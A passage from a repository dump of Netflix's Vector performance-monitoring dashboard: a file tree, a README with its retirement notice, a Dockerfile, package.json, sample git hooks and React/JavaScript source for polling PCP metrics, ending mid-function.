"file", "name": "SimpleChartSelector.jsx"}]}, {"type": "directory", "name": "Dashboard", "children": [{"type": "file", "name": "Dashboard.jsx"}, {"type": "file", "name": "DashHeader.jsx"}, {"type": "file", "name": "DashHeaderButton.jsx"}, {"type": "file", "name": "DashPanel.jsx"}]}, {"type": "file", "name": "ErrorPanel.jsx"}, {"type": "directory", "name": "Footer", "children": [{"type": "file", "name": "Footer.jsx"}, {"type": "file", "name": "Footer.spec.js"}]}, {"type": "directory", "name": "Navbar", "children": [{"type": "file", "name": "Navbar.jsx"}, {"type": "file", "name": "Navbar.spec.js"}]}, {"type": "directory", "name": "Pollers", "children": [{"type": "file", "name": "ContextPoller.jsx"}, {"type": "file", "name": "DatasetPoller.jsx"}, {"type": "file", "name": "DatasetPollerTimer.js"}]}, {"type": "directory", "name": "SettingsModals", "children": [{"type": "file", "name": "CustomSettingsModal.jsx"}, {"type": "file", "name": "FilterModal.jsx"}, {"type": "file", "name": "HeatmapSettingsModal.jsx"}, {"type": "file", "name": "TextLabelModal.jsx"}]}]}, {"type": "directory", "name": "help", "children": [{"type": "file", "name": "CommonIssues.jsx"}, {"type": "file", "name": "CpuFlamegraphHelp.jsx"}, {"type": "file", "name": "CswFlamegraphHelp.jsx"}, {"type": "file", "name": "DiskioFlamegraphHelp.jsx"}, {"type": "file", "name": "ExternalResources.jsx"}, {"type": "file", "name": "IpcFlamegraphHelp.jsx"}, {"type": "file", "name": "OffcpuFlamegraphHelp.jsx"}, {"type": "file", "name": "OffwakeFlamegraphHelp.jsx"}, {"type": "file", "name": "PackagenameCpuFlamegraphHelp.jsx"}, {"type": "file", "name": "PagefaultFlamegraphHelp.jsx"}, {"type": "file", "name": "UninlinedCpuFlamegraphHelp.jsx"}]}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "processors", "children": [{"type": "file", "name": "customChartModel.js"}, {"type": "file", "name": "customTableModel.js"}, {"type": "file", "name": "formats.js"}, {"type": "file", "name": "formats.spec.js"}, {"type": "file", "name": "modelUtils.js"}, {"type": "file", "name": "modelUtils.spec.js"}, {"type": "file", "name": "nullModel.js"}, {"type": "file", "name": "simpleModel.js"}, {"type": "file", "name": "transforms.js"}, {"type": "file", "name": "transforms.spec.js"}, {"type": "file", "name": "utils.js"}, {"type": "file", "name": "utils.spec.js"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "index.js"}, {"type": "file", "name": "index.spec.js"}]}]}, {"type": "directory", "name": "assets", "children": [{"type": "directory", "name": "images", "children": []}]}, {"type": "file", "name": "config.js"}, {"type": "file", "name": "favicon.ico"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "datasets.json"}, {"type": "directory", "name": "pcp-target", "children": [{"type": "file", "name": "Dockerfile"}, {"type": "file", "name": "etc_apt_sources.list.d_pcp.list"}]}, {"type": "file", "name": "rawdata.json"}, {"type": "directory", "name": "__mocks__", "children": [{"type": "file", "name": "fileMock.js"}, {"type": "file", "name": "styleMock.js"}]}]}, {"type": "file", "name": "webpack.common.js"}, {"type": "file", "name": "webpack.dev.js"}, {"type": "file", "name": "webpack.prod.js"}]} | ![Vector](vector.png)
## Project Status
https://groups.google.com/d/msg/vector-users/MWF8nnj1WHw/1EelNPOBAwAJ
> Today we are sharing with the community that we have contributed our latest developments in this space to the PCP project and are retiring Vector as a standalone web application. Specifically, we have contributed a data source for Grafana as well as some template dashboards that we use internally. This has been picked up by the PCP team and wrapped into a formal product. This splits what Vector is and how it is used into two pieces. The bulk of the monitoring moves into a more familiar stack with Grafana, which also includes the components to collect and display performance data including BCC-based flame graphs. Additional Netflix-specific flame-graphs and related functionality has been pulled into a new internal tool called FlameCommander.
>
> We have decided to lean into the Grafana stack. Grafana is widely used, well supported, and has an extensible framework for developing visualisations and including new sources of data for processing.
>
>
> Specifically in terms of the community around Vector, we will transition it as follows:
>
> - Code will remain up and online in Github. Issues and support will be best effort.
> - The vector slack and mailing lists will disappear over time. We encourage users to move across to the PCP support channels listed at https://pcp.io/community.html.
> - For slack, you’ll want to be sure to hop in to the #grafana channel on the PCP slack.
> - Vector.io will stay up for a period and then be decommissioned.
[![License](https://img.shields.io/github/license/Netflix/vector.svg)](http://www.apache.org/licenses/LICENSE-2.0)
Vector is an open source on-host performance monitoring framework which exposes hand picked high resolution system and application metrics to every engineer’s browser. Having the right metrics available on-demand and at a high resolution is key to understand how a system behaves and correctly troubleshoot performance issues.
## Getting Started
See the [Getting Started Guide](http://getvector.io/docs/getting-started.html) for documentation on how to get started.
## Developing
Specific configuration for your environment can be set up at the following locations:
```
src/config.js # app-wide configuration
src/charts/* # set up chart widgets
src/bundles/* # configure the high level groups
help/* # and the help panels for the charts
```
After you are set up, standard npm package.json commands can be used:
```
nvm use
npm install
npm run build
npm run serve
```
At a high level, the remaining directories contain:
```
src/components/* # all of the React components that compose the page
src/components/Pollers/* # the React components that talk to the PCP backend
processors/* # pcp to graph data fetch and transform components
```
## Issues
For bugs, questions and discussions please use the [GitHub Issues](https://github.com/Netflix/vector/issues).
## Questions
Join Vector on [Slack](https://vectoross.slack.com/) for support and discussion. If you don't have an invite yet, [request one](http://slack.getvector.io/) now!
You can also ask questions to other Vector users and contributors on [Google Groups](https://groups.google.com/forum/#!forum/vector-users) or [Stack Overflow](http://stackoverflow.com/questions/tagged/vectoross).
## Versioning
For transparency and insight into our release cycle, and for striving to maintain backward compatibility, Vector will be maintained under the Semantic Versioning guidelines as much as possible.
Releases will be numbered with the following format:
`<major>.<minor>.<patch>`
And constructed with the following guidelines:
* Breaking backward compatibility bumps the major (and resets the minor and patch)
* New additions without breaking backward compatibility bumps the minor (and resets the patch)
* Bug fixes and misc changes bumps the patch
For more information on SemVer, please visit [http://semver.org/](http://semver.org/).
## License
Copyright 2016 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the “License”); you may not use this file except in compliance with the License. You may obtain a copy of the License at
[http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
| {"Dockerfile": "# Copyright 2016 Netflix, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nFROM node:8-alpine as nodebuilder\n\nRUN apk add --update git\n\nCOPY . src/\nWORKDIR /src\nRUN npm install\nRUN npm run build-prod\n\n#########################\n\nFROM alpine:latest\n\nRUN mkdir -p /usr/share/nginx/html\nCOPY --from=nodebuilder /src/dist /usr/share/nginx/html\nRUN apk add --update curl && \\\n curl --silent --show-error --fail --location \\\n --header \"Accept: application/tar+gzip, application/x-gzip, application/octet-stream\" -o - \\\n \"https://caddyserver.com/download/linux/amd64?license=personal\" \\\n | tar --no-same-owner -C /usr/bin/ -xz caddy && \\\n chmod 0755 /usr/bin/caddy && \\\n /usr/bin/caddy -version && \\\n apk del curl && \\\n rm -rf /root/.cache /root/.config /root/.local /root/.ash_history \\\n /usr/share/man /var/cache/apk/*\n\nEXPOSE 80\nCMD [\"/usr/bin/caddy\", \"-root\", \"/usr/share/nginx/html\", \"-port\", \"80\"]\nVOLUME [\"/usr/share/nginx/html\"]\n", "package.json": "{\n \"name\": \"vector\",\n \"version\": \"2.0.0-beta1\",\n \"description\": \"Vector is an Instance-Level, On-Demand, High-Resolution Monitoring Framework. It's a web-base UI that leverages Performance Co-Pilot (PCP) in the backend.\",\n \"author\": \"Jason Koch <[email protected]>\",\n \"main\": \"src/app/index.html\",\n \"repository\": \"https://github.com/Netflix/vector\",\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"@babel/core\": \"^7.5.5\",\n \"@babel/polyfill\": \"^7.4.4\",\n \"@babel/runtime\": \"^7.5.5\",\n \"chai\": \"^4.1.2\",\n \"color-hash\": \"^1.0.3\",\n \"d3-scale\": \"^2.1.0\",\n \"d3-selection\": \"^1.3.2\",\n \"d3-svg-legend\": \"^2.25.6\",\n \"font-awesome\": \"4.6.1\",\n \"font-awesome-webpack-4\": \"git+https://github.com/tapz/font-awesome-webpack#da547ed91064b408500131f837f17f423ce89411\",\n \"http-server-spa\": \"^1.3.0\",\n \"lodash-es\": \"^4.17.10\",\n \"lodash.clonedeep\": \"^4.5.0\",\n \"lodash.debounce\": \"^4.0.8\",\n \"lodash.isequal\": \"^4.5.0\",\n \"memoize-one\": \"^4.0.0\",\n \"moment\": \"^2.22.2\",\n \"prop-types\": \"^15.6.2\",\n \"react\": \"^16.4.1\",\n \"react-dom\": \"^16.4.1\",\n \"react-error-boundary\": \"^1.2.3\",\n \"react-grid-layout\": \"^0.16.6\",\n \"react-router-dom\": \"^4.3.1\",\n \"semantic-ui-css\": \"^2.3.3\",\n \"semantic-ui-react\": \"^0.82.0\",\n \"semiotic\": \"^1.14.2\",\n \"superagent\": \"^3.8.3\",\n \"webpack-merge\": \"^4.1.4\",\n \"why-did-you-update\": \"^0.1.1\"\n },\n \"scripts\": {\n \"build\": \"webpack --display-error-details --config webpack.dev.js\",\n \"build-prod\": \"webpack --display-error-details --config webpack.prod.js\",\n \"test\": \"jest --coverage\",\n \"serve\": \"http-server-spa dist index.html 3000\"\n },\n \"devDependencies\": {\n \"@babel/plugin-proposal-class-properties\": \"^7.5.5\",\n \"@babel/plugin-proposal-object-rest-spread\": \"^7.5.5\",\n \"@babel/plugin-transform-async-to-generator\": \"^7.5.0\",\n \"@babel/plugin-transform-runtime\": \"^7.5.5\",\n \"@babel/preset-env\": \"^7.5.5\",\n \"@babel/preset-react\": \"^7.0.0\",\n \"@types/jest\": \"^24.0.16\",\n \"babel-eslint\": \"^8.2.5\",\n \"babel-jest\": \"^24.8.0\",\n \"babel-loader\": \"^8.0.6\",\n \"copy-webpack-plugin\": \"^4.5.2\",\n \"css-loader\": \"^2.1.1\",\n \"enzyme\": \"^3.9.0\",\n \"enzyme-adapter-react-16\": \"^1.1.1\",\n \"eslint\": \"^5.16.0\",\n \"eslint-loader\": \"^2.0.0\",\n \"eslint-plugin-react\": \"^7.10.0\",\n \"estraverse\": \"~4.1.0\",\n \"file-loader\": \"^1.1.11\",\n \"html-loader\": \"^0.5.5\",\n \"html-webpack-plugin\": \"^3.2.0\",\n \"jest\": \"^24.8.0\",\n \"less\": \"^3.0.4\",\n \"query-string\": \"^4.3.4\",\n \"sass-loader\": \"^7.0.3\",\n \"style-loader\": \"^0.21.0\",\n \"uglify-save-license\": \"~0.4.1\",\n \"url-loader\": \"^1.0.1\",\n \"webpack\": \"^4.12.2\",\n \"webpack-auto-inject-version\": \"^1.1.0\",\n \"webpack-cli\": \"^3.0.8\",\n \"worker-loader\": \"^2.0.0\",\n \"wrench\": \"~1.5.8\"\n },\n \"jest\": {\n \"moduleNameMapper\": {\n \"\\\\.(css|less|sass|scss)$\": \"<rootDir>/test/__mocks__/styleMock.js\",\n \"\\\\.(gif|ttf|eot|svg)$\": \"<rootDir>/test/__mocks__/fileMock.js\",\n \"^config$\": \"<rootDir>/src/config.js\"\n },\n \"transform\": {\n \"^.+\\\\.jsx$\": \"babel-jest\",\n \"^.+\\\\.js$\": \"babel-jest\"\n },\n \"collectCoverageFrom\": [\n \"src/**/*.{js,jsx}\"\n ]\n },\n \"babel\": {\n \"presets\": [\n \"@babel/preset-env\",\n \"@babel/preset-react\"\n ],\n \"plugins\": [\n \"@babel/plugin-transform-runtime\",\n \"@babel/plugin-transform-async-to-generator\",\n \"@babel/plugin-proposal-class-properties\",\n \"@babel/plugin-proposal-object-rest-spread\"\n ]\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "e2e\\main.po.js": "/**\n * This file uses the Page Object pattern to define the main page for tests\n * https://docs.google.com/presentation/d/1B6manhG0zEXkC-H-tPo2vwU06JhL8w9-XCF9oehXzAQ\n */\n\n'use strict';\n\nvar MainPage = function() {\n this.jumbEl = element(by.css('.jumbotron'));\n this.h1El = this.jumbEl.element(by.css('h1'));\n this.imgEl = this.jumbEl.element(by.css('img'));\n this.thumbnailEls = element(by.css('body')).all(by.repeater('awesomeThing in main.awesomeThings'));\n};\n\nmodule.exports = new MainPage();\n", "src\\app\\App.jsx": "/**!\n *\n * Copyright 2018 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n// TODO plenty more tests\n// TODO toast messages when there are issues\n// TODO enable vector to browse and collect cluster and container information from external sources\n// - needs to be pluggable, eg from k8s/titus/etc\n\nimport React from 'react'\nimport PropTypes from 'prop-types'\n\n/*\nimport process from 'process'\nimport { whyDidYouUpdate } from 'why-did-you-update'\nif (process.env.NODE_ENV !== 'production') {\n whyDidYouUpdate(React)\n}\n*/\n\nimport { render } from 'react-dom'\n\nimport config from 'config'\n\nimport Navbar from './components/Navbar/Navbar.jsx'\nimport Footer from './components/Footer/Footer.jsx'\nimport Dashboard from './components/Dashboard/Dashboard.jsx'\nimport ConfigPanel from './components/ConfigPanel/ConfigPanel.jsx'\nimport ContextPoller from './components/Pollers/ContextPoller.jsx'\nimport DatasetPoller from './components/Pollers/DatasetPoller.jsx'\nimport DashboardController from './components/ConfigPanel/DashboardController.jsx'\n\nimport { Sidebar } from 'semantic-ui-react'\nimport isEqual from 'lodash.isequal'\nimport cloneDeep from 'lodash.clonedeep'\n\nimport 'semantic-ui-css/semantic.min.css'\nimport { matchesTarget, getChartsFromLocation, pushQueryStringToHistory } from './utils'\n\nimport { BrowserRouter, Switch, Route } from 'react-router-dom'\nimport charts from './charts'\nimport bundles from './bundles'\n\nconst initialChartIdlist = getChartsFromLocation(location)\nconst initialTargets = initialChartIdlist.targets\nconst initialChartlist = initialChartIdlist.chartlist\n .map(c => ({\n context: { target: c.target },\n ...charts.find(ch => c.chartId === ch.chartId)\n }))\n\nclass App extends React.Component {\n state = {\n chartlist: this.props.initialChartlist,\n pollIntervalMs: 2000,\n windowIntervalMs: 120000,\n contextData: [],\n contextDatasets: [],\n targets: this.props.initialTargets,\n configVisible: this.props.initialConfigPanelOpen,\n pausedData: null,\n }\n\n // TODO this call block is a big ball of mud\n // can it be pushed off to somewhere else\n // or should we just switch it across to redux?\n\n refreshQueryString = () => {\n pushQueryStringToHistory(this.state.targets, this.state.chartlist, this.props.history)\n }\n\n // chart handling\n onClearChartsFromContext = (ctx) => {\n this.setState((oldState) => ({\n chartlist: oldState.chartlist.filter(chart =>\n !(matchesTarget(chart.context.target, ctx.target)))\n }), this.refreshQueryString)\n }\n\n onAddChartToContext = (ctx, chart) => {\n this.setState((oldState) => ({ chartlist: oldState.chartlist.concat({ ...chart, context: ctx }) }), this.refreshQueryString)\n }\n\n removeChartByIndex = (idx) => {\n this.setState(oldState =>\n ({ chartlist: [ ...oldState.chartlist.slice(0, idx), ...oldState.chartlist.slice(idx + 1) ] }), this.refreshQueryString)\n }\n updateChartSettings = (idx, settings) => {\n this.setState((oldState) => {\n let newChart = { ...oldState.chartlist[idx], ...settings }\n return { chartlist: [ ...oldState.chartlist.slice(0, idx), newChart, ...oldState.chartlist.slice(idx + 1) ] }\n })\n }\n\n // context handling\n onContextsUpdated = (contexts) => {\n this.setState(state => {\n if (isEqual(contexts, state.contextData)) return undefined\n\n // update any charts with the refreshed context from the chart list\n let newChartlist = this.state.chartlist.map(c => ({\n ...c,\n context: contexts.find(ctx => matchesTarget(ctx.target, c.context.target))\n }))\n return {\n chartlist: newChartlist,\n contextData: [ ...contexts ],\n }\n })\n }\n\n onContextDatasetsUpdated = (ctxds) => {\n this.setState({ contextDatasets: ctxds })\n }\n\n onNewContext = (target) => this.setState((state) => ({ targets: state.targets.concat(target) }), this.refreshQueryString)\n onRemoveContext = (context) => this.setState((state) => ({\n // remove all targets, and remove all charts\n targets: state.targets.filter(target =>\n !(matchesTarget(target, context.target))),\n chartlist: state.chartlist.filter(chart =>\n !(matchesTarget(chart.context.target, context.target))),\n }), this.refreshQueryString)\n\n // config panel visibility\n toggleConfigVisible = () => this.setState((state) => ({ configVisible: !state.configVisible }))\n handleRequestClose = () => this.setState({ configVisible: false })\n\n // app config settings\n onWindowSecondsChange = (sec) => this.setState({ windowIntervalMs: sec * 1000 })\n onPollIntervalSecondsChange = (sec) => this.setState({ pollIntervalMs: sec * 1000 })\n\n // to pause, we take a snapshot of the data and use this as our datasource for the dash\n // this ensures all other components, pollers etc can keep flowing through their data cleanly\n handlePlay = () => this.setState({ pausedData: null })\n handlePause = () => this.setState(state => ({ pausedData: cloneDeep(state.contextDatasets) }))\n\n render () {\n const isConfigPanelOpen = !this.props.embed && this.state.configVisible\n\n return (\n <div>\n <div className=\"col-md-12\">\n <Navbar embed={this.props.embed} onClick={this.toggleConfigVisible} />\n\n <ContextPoller\n pollIntervalMs={5000}\n targets={this.state.targets}\n onContextsUpdated={this.onContextsUpdated} />\n\n <DatasetPoller\n pollIntervalMs={this.state.pollIntervalMs}\n charts={this.state.chartlist}\n windowIntervalMs={this.state.windowIntervalMs}\n contextData={this.state.contextData}\n onContextDatasetsUpdated={this.onContextDatasetsUpdated} />\n\n <DashboardController\n windows={config.dataWindows}\n intervals={config.pollIntervals}\n defaultWindow={config.defaultWindowSeconds}\n defaultInterval={config.defaultIntervalSeconds}\n onPollIntervalSecondsChange={this.onPollIntervalSecondsChange}\n onWindowSecondsChange={this.onWindowSecondsChange}\n isDashboardOpen={isConfigPanelOpen}\n onDashboardToggle={this.toggleConfigVisible}\n onPlay={this.handlePlay}\n onPause={this.handlePause}\n isDashboardPlaying={!this.state.pausedData} />\n\n <Sidebar.Pushable style={{ minHeight: '100vh' }}>\n <Sidebar\n animation='push' // push > scale down > overlay > slide along > uncover\n direction='top'\n visible={isConfigPanelOpen} >\n\n <ConfigPanel\n config={config}\n charts={charts}\n bundles={bundles}\n chartlist={this.state.chartlist}\n contextData={this.state.contextData}\n onNewContext={this.onNewContext}\n onRemoveContext={this.onRemoveContext}\n onAddChartToContext={this.onAddChartToContext}\n onRequestClose={this.handleRequestClose}\n initialAddContext={this.props.initialConfigPanelOpen && this.props.initialAddContext}\n onClearChartsFromContext={this.onClearChartsFromContext} />\n\n </Sidebar>\n\n <Sidebar.Pusher>\n\n <Dashboard\n chartlist={this.state.chartlist}\n pausedContextDatasets={this.state.pausedData}\n contextDatasets={this.state.contextDatasets}\n removeChartByIndex={this.removeChartByIndex}\n updateChartSettings={this.updateChartSettings}\n onMoveChart={this.onMoveChart} />\n\n <Footer version='[AIV]{version}[/AIV]'/>\n\n </Sidebar.Pusher>\n\n </Sidebar.Pushable>\n </div>\n </div>\n )\n }\n}\n\nApp.propTypes = {\n embed: PropTypes.bool.isRequired,\n initialTargets: PropTypes.array.isRequired,\n initialChartlist: PropTypes.array.isRequired,\n initialConfigPanelOpen: PropTypes.bool.isRequired,\n initialAddContext: PropTypes.bool.isRequired,\n history: PropTypes.object.isRequired,\n}\n\nclass PageRouter extends React.Component {\n AppEmbed = (props) =>\n <App embed={true}\n initialTargets={initialTargets}\n initialChartlist={initialChartlist}\n initialConfigPanelOpen={false}\n initialAddContext={false}\n history={props.history} />\n\n AppNormal = (props) =>\n <App embed={false}\n initialTargets={initialTargets}\n initialChartlist={initialChartlist}\n initialConfigPanelOpen={initialChartlist.length === 0}\n initialAddContext={initialTargets.length === 0}\n history={props.history} />\n\n render () {\n return (\n <BrowserRouter basename={config.basename}>\n <Switch>\n <Route path=\"/embed\" render={this.AppEmbed}/>\n <Route path=\"/\" render={this.AppNormal}/>\n </Switch>\n </BrowserRouter>\n )\n }\n}\n\nPageRouter.propTypes = {\n}\n\nrender(<PageRouter/>, document.getElementById('app'))\n", "src\\app\\index.html": "<!doctype html>\n<html>\n<head>\n <meta charset=\"utf-8\">\n <title>Vector</title>\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n <link href=\"//fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600\" rel=\"stylesheet\" />\n <script type=\"text/javascript\" src=\"config.js\"></script>\n</head>\n<body>\n <div id=\"app\"></div>\n</body>\n</html>\n", "src\\app\\bundles\\index.js": "/**!\n *\n * Copyright 2018 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react'\n\nconst bundles = [\n {\n name: 'Host Utilization',\n iconName: 'computer',\n description: (<div>\n Quick overview of host utilization (not container):\n <ul>\n <li>CPU utilization</li>\n <li>Disk latency</li>\n <li>Memory utilization</li>\n <li>Network throughput</li>\n </ul>\n </div>),\n chartTemplates: [\n { chartId: 'cpu-utilization' },\n { chartId: 'disk-latency' },\n { chartId: 'memory-utilization' },\n { chartId: 'network-throughput' },\n ]\n },\n {\n name: 'Container app',\n iconName: 'clone',\n description: (<div>\n A set of metrics for monitoring performance of your container\n <ul>\n <li>Container CPU</li>\n <li>Container MEM usage (MB & %)</li>\n <li>Container Disk IOPS</li>\n <li>Container Disk Throughput</li>\n <li>Container CPU throttled</li>\n </ul>\n </div>),\n chartTemplates: [\n { chartId: 'container-percont-cpu' },\n { chartId: 'container-percont-mem' },\n { chartId: 'container-disk-iops' },\n { chartId: 'container-disk-tput' },\n { chartId: 'container-percont-cpu-throttle' },\n { chartId: 'container-percont-mem-util', },\n ],\n },\n {\n name: 'Disk',\n iconName: 'disk',\n description: (<div>\n Key disk metrics\n <ul>\n <li>IOPS</li>\n <li>Latency</li>\n <li>Throughput</li>\n <li>Utilization</li>\n </ul>\n </div>),\n chartTemplates: [\n { chartId: 'disk-iops' },\n { chartId: 'disk-latency' },\n { chartId: 'disk-throughput' },\n { chartId: 'disk-utilization' }\n ],\n },\n {\n name: 'Flamegraphs',\n iconName: 'hotjar',\n description: 'Flame graphs',\n chartTemplates: [\n { chartId: 'fg-cpu' },\n { chartId: 'fg-pname-cpu' },\n { chartId: 'fg-uninlined-cpu' },\n { chartId: 'fg-pagefault' },\n { chartId: 'fg-diskio' },\n { chartId: 'fg-ipc' },\n ]\n },\n {\n name: 'BCC demo',\n iconName: 'microchip',\n description: 'A collection showing the default configured BCC PMDA metrics, make sure you have the BCC PMDA installed.',\n chartTemplates: [\n {\n chartId: 'text-label',\n content: 'The default BCC widgets. To enable more widgets, on the target host, check the BCC PMDA configuration file and run ./Install to reload.',\n },\n { chartId: 'bcc-tcptop' },\n { chartId: 'bcc-runqlat' },\n { chartId: 'bcc-biolatency' },\n { chartId: 'bcc-tracepoint-hits' },\n { chartId: 'bcc-usdt-hits' },\n ]\n }\n]\n\nexport default bundles\n", "src\\app\\charts\\index.js": "/**!\n *\n * Copyright 2018 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n/* eslint-disable */\n\nimport { flatten } from '../utils'\nimport config from 'config'\n\n// all the remaining components, particularly vector specific angular components\nfunction requireAll(requireContext) {\n const validKeys = requireContext.keys().filter(f => f !== './index.js')\n const requires = validKeys.map(requireContext)\n return Array.isArray(requires) ? requires : [requires]\n}\n\nfunction isValidChart(chart, index, charts) {\n let errors = []\n\n if (!chart.chartId) {\n errors.push('chart is missing chartId')\n }\n if (!chart.group || !chart.title) {\n errors.push('chart is missing group or title')\n }\n if (!chart.processor) {\n errors.push('chart processor is not valid')\n }\n if (charts.findIndex(c => c.chartId === chart.chartId) !== index) {\n errors.push('found a duplicate chartId')\n }\n\n if (errors.length) {\n console.warn('chart had errors, will not be loaded', chart, errors)\n }\n return !errors.length\n}\n\nconst requires = requireAll(require.context('./', false, /\\.js$/))\nconst charts = requires\n .map(r => r.default)\n .map(r => (typeof r === 'function') ? r(config) : r) // if it is a function, call it\n .reduce(flatten, [])\n .filter(isValidChart)\n\nexport default charts\n", "src\\app\\utils\\index.js": "/**!\n *\n * Copyright 2018 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport superagent from 'superagent'\nimport { parse } from 'query-string'\nimport config from 'config'\n\n/////////////////////////////////////\n// window.location handling support\n\nexport function pushQueryStringToHistory(targets, chartlist, history) {\n console.log(chartlist)\n\n const data = targets.map(t => ({\n p: t.protocol,\n h: t.hostname,\n hs: t.hostspec,\n ci: t.containerId,\n cl: chartlist\n .filter(c => matchesTarget(c.context.target, t))\n .map(c => c.chartId)\n }))\n const blob = JSON.stringify(data)\n const encoded = encodeURI(blob)\n\n // we can kinda do this because the only way you should be able to add charts is when not in embed mode\n history.push(`/?q=${encoded}`)\n}\n\nexport function getChartsFromLocation({ search, hash }) {\n if (!search && !hash) {\n return { chartlist: [], targets: [] }\n }\n\n // check for old world urls\n // the links in from legacy are via host= and container=,\n // ignore the charts specifically (too bad)\n if (hash) {\n const queryHash = parse(hash)\n const hostname = queryHash['/?host'] + ':' + config.defaultPort\n const containerId = queryHash.container || '_all'\n return {\n isLegacy: true,\n targets: [{\n protocol: config.defaultProtocol,\n hostname,\n hostspec: 'localhost',\n containerId,\n }],\n chartlist: []\n }\n }\n\n function uniqueTargetFilter (val, index, array) {\n return array.findIndex(v => matchesTarget(v, val)) === index\n }\n\n if (search) {\n const query = parse(search)\n\n const decoded = decodeURI(query['q'])\n const params = JSON.parse(decoded)\n\n const targets = params\n .map(c => ({\n protocol: 'p' in c ? c.p : config.defaultProtocol,\n hostname: c.h,\n hostspec: c.hs,\n containerId: c.ci\n }))\n .filter(uniqueTargetFilter) // should not be needed, but just in case\n\n const chartlist = params.map(c =>\n c.cl.map(chartId => ({\n target: {\n protocol: 'p' in c ? c.p : config.defaultProtocol,\n hostname: c.h,\n hostspec: c.hs,\n containerId: c.ci\n },\n chartId: chartId\n }))\n ).reduce(flatten, [])\n\n return {\n targets,\n chartlist,\n }\n }\n}\n\n/////////////////////////////////////\n// generic object functions\n\nexport function flatten (xs, ys) {\n return xs.concat(ys)\n}\n\nexport function uniqueFilter (val, index, array) {\n return array.indexOf(val) === index\n}\n\n// use as a reducer\nexport function keyValueArrayToObjectReducer (obj, { key, value }) {\n obj[key] = value\n return obj\n}\n\nexport function firstValueInObject(obj) {\n return obj[Object.keys(obj)[0]]\n}\n\n/////////////////////////////////////\n// handling targets and contexts\nexport function matchesTarget (t1, t2) {\n return !!(t1 && t2 && t1.hostname === t2.hostname && t1.hostspec === t2.hostspec && t1.containerId === t2.containerId)\n}\n\nexport function isContextLoading (context) {\n return !(context.contextId\n && (Object.keys(context.pmids || {}).length > 0)\n && context.hostname\n && context.containerList)\n}\n\n/////////////////////////////////////\n// pmwebd connectivity\nconst PMAPI_POLL_TIMEOUT_SECONDS = 5\n\nexport async function fetchContainerList (protocol, hostname, hostport, hostspec) {\n // set up a new context, then fetch container and cgroup details\n const pmapi = `${protocol}://${hostname}:${hostport}/pmapi`\n\n let res = await superagent\n .get(`${pmapi}/context`)\n .query({ exclusive: 1, hostspec: hostspec, polltimeout: PMAPI_POLL_TIMEOUT_SECONDS })\n const context = res.body.context\n\n // need to do this second fetch and join to make sure we get genuine containers\n const promisedContainerNames = superagent.get(`${pmapi}/${context}/_fetch?names=containers.name`)\n const promisedCgroups = 